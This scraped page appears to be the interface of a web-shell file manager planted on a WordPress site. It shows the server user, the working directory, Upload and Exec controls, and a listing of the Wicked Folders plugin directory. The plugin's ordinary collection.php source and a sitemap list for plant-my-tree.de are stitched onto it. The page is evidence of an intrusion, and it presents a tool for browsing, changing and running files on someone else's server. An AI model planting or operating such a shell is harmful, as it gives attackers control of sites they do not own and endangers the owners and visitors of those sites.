WPR FM
uid=9814(b13i2mwmyrdbxio) php=8.4.28
info
cwd /data/sites/web/b13i2mwmyrdbxio/www |
naik
Buka
-
admin.php
27453
x
-
all-folders-collection.php
2394
x
-
author-dynamic-folder-collection.php
803
x
-
author-dynamic-folder.php
2460
x
-
collection.php
3837
x
-
common.php
53499
x
-
date-dynamic-folder-collection.php
3640
x
-
date-dynamic-folder.php
7690
x
-
dynamic-folder-collection.php
1578
x
-
dynamic-folder.php
1117
x
-
folder-collection.php
12771
x
-
folder-factory.php
1724
x
-
folder.php
5974
x
D
integrations/
-
json-serializable-object.php
874
x
-
post-hierarchy-dynamic-folder.php
7213
x
D
rest-api/
-
screen-state.php
10938
x
-
settings.php
33455
x
-
singleton.php
602
x
-
term-dynamic-folder-collection.php
4598
x
-
term-dynamic-folder.php
5387
x
-
term-folder.php
11264
x
-
tree-view.php
7327
x
-
unassigned-dynamic-folder.php
1561
x
-
wicked-folders.php
30759
x
Upload
Simpan
<?php namespace Wicked_Folders; use Countable; use Iterator; // Disable direct load defined( 'ABSPATH' ) || exit; /** * Iterates through an array of objects. */ abstract class Collection implements Countable, Iterator { /** * The current index within the collection. * * @var integer */ protected $index = 0; /** * Holds the collection's objects. * * @var array */ protected $items = array(); /** * The current item. * * @var mixed. */ protected $item = null; /** * Count implementation. */ public function count(): int { return count( $this->items ); } /** * Current implementation. */ public function current(): Folder { return $this->items[ $this->index ]; } /** * Key implementation. */ public function key(): int { return $this->index; } /** * Next implementation. */ public function next(): void { ++$this->index; } /** * Rewind implementation. */ public function rewind(): void { $this->index = 0; } /** * Valid implementation. */ public function valid(): bool { return isset( $this->items[ $this->index ] ); } /** * Add an item to the collection. */ public abstract function add( $item ); /** * Remove an item from the collection. */ public function remove( $item ) { return false; } /** * Gets an item by its ID. */ public function get( $id ) { return false; } /** * Empties the collection. */ public function empty() { $this->items = array(); } /** * Sorts the items in the collection by their 'order' property (if one exists). */ public function sort() { usort( $this->items, function( $a, $b ) { if ( isset( $a->order ) && isset( $b->order ) ) { if ( $a->order == $b->order ) { return 0; } return ( $a->order < $b->order ) ? -1 : 1; } return 0; } ); return $this->items; } /** * Filters the items within the collection. * * @see wp_filter_object_list() * * @param array $args * An array of property value pairs to filter by. * @param string $operator * The comparision operator to use. Either 'and' or 'or'. * @return Collection * A new collection with the matching items. */ public function filter( $args = array(), $operator = 'and' ) { // Clone current collection so new collection retains property values $collection = clone $this; $collection->empty(); // Filter the items in the current collection $items = wp_filter_object_list( $this->items, $args, $operator ); // Now add them to our new collection foreach ( $items as $item ) { $collection->add( $item ); } return $collection; } /** * Adds the item to the collection if it is the correct type, otherwise * throws an error. * * @param mixed $item * The item to add. * @param class * The class of object that the item must be. */ protected function add_if( $item, $type ) { if ( is_a( $item, $type ) ) { $this->items[] = $item; } else { throw new Exception( __( 'Item must be ', 'wicked-folders' ) . $type ); } } /** * Returns whether or not the collection is empty. * * @return boolen * True if the collection contains no items, false otherwise. */ public function is_empty() { return $this->count() < 1; } }
Exec
https://plant-my-tree.de/post-sitemap1.xml
2026-11-20T10:18:25+01:00
https://plant-my-tree.de/page-sitemap1.xml
2026-12-03T12:53:57+01:00
https://plant-my-tree.de/lp-sitemap1.xml
2026-12-02T08:42:41+01:00
https://plant-my-tree.de/ratgeber-sitemap1.xml
2026-11-24T10:16:19+01:00
https://plant-my-tree.de/aufforstungsflachen-sitemap1.xml
2026-11-23T12:04:20+01:00
https://plant-my-tree.de/blog-sitemap1.xml
2026-11-24T09:10:09+01:00
https://plant-my-tree.de/category-sitemap1.xml
https://plant-my-tree.de/post_tag-sitemap1.xml